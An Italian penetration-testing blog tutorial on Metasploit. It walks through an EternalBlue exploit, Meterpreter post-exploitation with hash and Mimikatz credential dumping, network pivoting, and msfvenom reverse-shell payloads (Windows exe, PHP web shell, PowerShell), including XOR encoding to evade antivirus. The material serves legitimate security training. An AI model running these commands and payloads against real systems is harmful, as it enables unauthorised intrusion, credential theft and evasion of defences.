Metasploit Framework: Exploitation, Payload e Post-Exploitation Completi

Metasploit Framework è la piattaforma di penetration testing più usata per exploit, payload e post-exploitation. Guida operativa per workflow offensivo completo.
- Pubblicato il 2026-02-17
- Tempo di lettura: 5 min
Metasploit Framework è la piattaforma di exploitation più utilizzata dai penetration tester professionisti. Con oltre 2000 exploit e centinaia di payload, Metasploit trasforma vulnerabilità note in accesso concreto ai sistemi target. In questa guida impari a usare Metasploit dall’identificazione delle vulnerabilità alla post-exploitation completa, passando per generazione payload e tecniche di pivoting.
Cos’è Metasploit Framework #
Metasploit è un framework modulare che integra tutto il necessario per condurre attacchi: scanner per identificare vulnerabilità, exploit per sfruttarle, payload per stabilire connessioni, e moduli post-exploitation per consolidare l’accesso. La sua forza sta nell’ecosistema integrato che permette di passare dalla ricognizione al controllo totale del target senza uscire dall’ambiente.
Il framework è mantenuto da Rapid7 e disponibile in versione open source (Framework) e commerciale (Pro). Per il penetration testing, la versione Framework offre tutte le funzionalità necessarie.
Installazione e Setup #
Su Kali Linux Metasploit è preinstallato. Verifica e aggiorna:
msfconsole -v
sudo apt update && sudo apt install metasploit-framework -yPer altre distribuzioni, l’installer ufficiale semplifica il processo:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod +x msfinstall && ./msfinstallConfigurazione Database #
Metasploit utilizza PostgreSQL per memorizzare host, servizi, credenziali e loot. Il database è fondamentale per gestire engagement complessi:
sudo systemctl start postgresql
sudo msfdb initVerifica la connessione all’avvio di msfconsole:
msf6 > db_status
[*] Connected to msf. Connection type: postgresql.Navigazione e Comandi Base #
L’interfaccia di Metasploit segue una logica coerente. Impara questi comandi e navigherai fluidamente in tutto il framework:
| Comando | Funzione |
|---|---|
search | Cerca moduli per keyword, CVE, piattaforma |
use | Seleziona un modulo |
info | Mostra dettagli del modulo corrente |
show options | Visualizza parametri configurabili |
set | Imposta un parametro |
run / exploit | Esegue il modulo |
back | Torna al prompt principale |
sessions | Gestisce sessioni attive |
La ricerca è potente e supporta filtri multipli:
msf6 > search type:exploit platform:windows smb
msf6 > search cve:2017-0144
msf6 > search name:eternalblueIl Primo Exploit: EternalBlue #
Per comprendere il workflow Metasploit, eseguiamo un attacco completo contro una macchina Windows vulnerabile a MS17-010 (EternalBlue).
Cerca e seleziona l’exploit:
msf6 > search ms17-010
msf6 > use exploit/windows/smb/ms17_010_eternalblueVisualizza le opzioni richieste:
msf6 exploit(ms17_010_eternalblue) > show optionsConfigura target e payload:
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.1.100
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.1.50
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444Lancia l’attacco:
msf6 exploit(ms17_010_eternalblue) > exploitSe il target è vulnerabile, otterrai una sessione Meterpreter:
[*] Sending stage (200774 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.50:4444 -> 192.168.1.100:49158)
meterpreter >Moduli Auxiliary per Ricognizione #
Prima di exploitare, i moduli auxiliary permettono di enumerare servizi e identificare vulnerabilità. Integrano perfettamente con nmap per una ricognizione completa.
Scan di versione SMB su subnet:
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_version) > set THREADS 50
msf6 auxiliary(smb_version) > runCheck vulnerabilità MS17-010:
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010) > set RHOSTS 192.168.1.0/24
msf6 auxiliary(smb_ms17_010) > runL’output evidenzia host vulnerabili, pronti per l’exploitation.
Meterpreter: Post-Exploitation #
Meterpreter è il payload avanzato di Metasploit. Opera interamente in memoria, evitando di scrivere su disco, e offre funzionalità estese per la post-exploitation.
Comandi essenziali una volta ottenuta la shell:
meterpreter > sysinfo # Info sistema
meterpreter > getuid # Utente corrente
meterpreter > getsystem # Tenta privilege escalation
meterpreter > hashdump # Dump hash SAM
meterpreter > download file # Scarica file
meterpreter > upload file # Carica file
meterpreter > shell # Shell nativaPrivilege Escalation Automatica #
Se non sei SYSTEM, Meterpreter può tentare escalation automatica:
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation)Se fallisce, usa il suggester per trovare exploit locali:
meterpreter > run post/multi/recon/local_exploit_suggesterQuesto analizza il sistema e lista exploit applicabili con relativa probabilità di successo.
Credential Harvesting #
Il dumping delle credenziali è cruciale per il lateral movement:
meterpreter > hashdump
Administrator:500:aad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::Per credenziali in chiaro, carica Mimikatz integrato:
meterpreter > load kiwi
meterpreter > creds_allPivoting: Raggiungere Reti Interne #
Quando comprometti un host con accesso a reti interne non raggiungibili direttamente, Metasploit permette di usarlo come pivot point.
Aggiungi una route attraverso la sessione:
msf6 > sessions -l
msf6 > route add 10.10.10.0/24 1Ora puoi attaccare la subnet 10.10.10.0/24 attraverso la sessione 1. Tutti i moduli Metasploit useranno automaticamente questa route.
Per strumenti esterni, configura un proxy SOCKS:
msf6 > use auxiliary/server/socks_proxy
msf6 auxiliary(socks_proxy) > set SRVPORT 1080
msf6 auxiliary(socks_proxy) > run -jConfigura proxychains (/etc/proxychains4.conf) per usare il proxy e lancia tool esterni attraverso la rete pivotata.
Generazione Payload con msfvenom #
msfvenom genera payload standalone per scenari dove l’exploit diretto non è possibile. Utile per phishing, USB drop, o quando hai già un vettore di esecuzione.
Payload Windows exe:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f exe -o shell.exePayload per web shell PHP:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f raw -o shell.phpPowerShell in-memory (fileless):
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -f psh-cmdPer evitare detection, combina con encoding:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.50 LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exeRicorda: i payload stock sono heavily signatured. Per engagement reali, considera tecniche di evasion avanzate.
Gestione Sessioni e Workspace #
Durante un penetration test gestisci molte sessioni. Metasploit offre strumenti per organizzarle:
msf6 > sessions -l # Lista sessioni
msf6 > sessions -i 1 # Interagisci con sessione 1
msf6 > sessions -k 1 # Termina sessione 1
msf6 > sessions -K # Termina tutteI workspace separano engagement diversi:
msf6 > workspace # Lista workspace
msf6 > workspace -a client_name # Crea nuovo
msf6 > workspace client_name # SelezionaImporta risultati da nmap per popolare il database:
msf6 > db_import /path/to/nmap_scan.xml
msf6 > hosts # Visualizza host importati
msf6 > services # Visualizza serviziScenari Pratici #
Scenario 1: Compromissione Rete Corporate #
Workflow completo per un engagement interno:
- Scan rete con db_nmap integrato
- Identifica host vulnerabili con auxiliary scanner
- Exploit della vulnerabilità più critica
- Privilege escalation a SYSTEM
- Credential dump con Mimikatz
- Lateral movement verso Domain Controller
- Persistenza e documentazione
Scenario 2: Web Application to Shell #
Quando hai una vulnerabilità web (RCE, file upload):
- Genera payload PHP con msfvenom
- Upload tramite vulnerabilità
- Configura handler in Metasploit
- Triggera il payload visitando la URL
- Post-exploitation standard
Handler per ricevere connessioni:
msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 0.0.0.0
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -jTroubleshooting #
“Exploit completed, but no session was created”: il payload non riesce a connettersi. Verifica che LHOST sia raggiungibile dal target, controlla firewall locale, prova payload diversi (staged vs stageless).
Handler non riceve connessioni: verifica che la porta sia aperta (sudo ufw allow 4444/tcp), che LHOST sia corretto (usa 0.0.0.0 per tutti gli IP), che il target possa raggiungere il tuo IP.
Database non connesso: riavvia PostgreSQL e reinizializza con msfdb reinit.
FAQ #
Metasploit vs exploit manuali?
Metasploit accelera il workflow ma gli exploit potrebbero essere meno aggiornati di quelli su Exploit-DB. Per CVE recenti, verifica sempre la data del modulo.
Come aggiorno i moduli?
msfupdate aggiorna tutto il framework. Per moduli community più recenti, copia i file .rb in ~/.msf4/modules/.
Meterpreter viene rilevato dagli AV?
I payload standard sono signatured. Per evasion usa encoding, payload custom, o framework dedicati come Veil.
È legale usare Metasploit?
Solo su sistemi autorizzati. Per penetration test professionali, hackita.it/servizi offre engagement completi.
Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.
Risorse: Metasploit Docs | Rapid7 GitHub







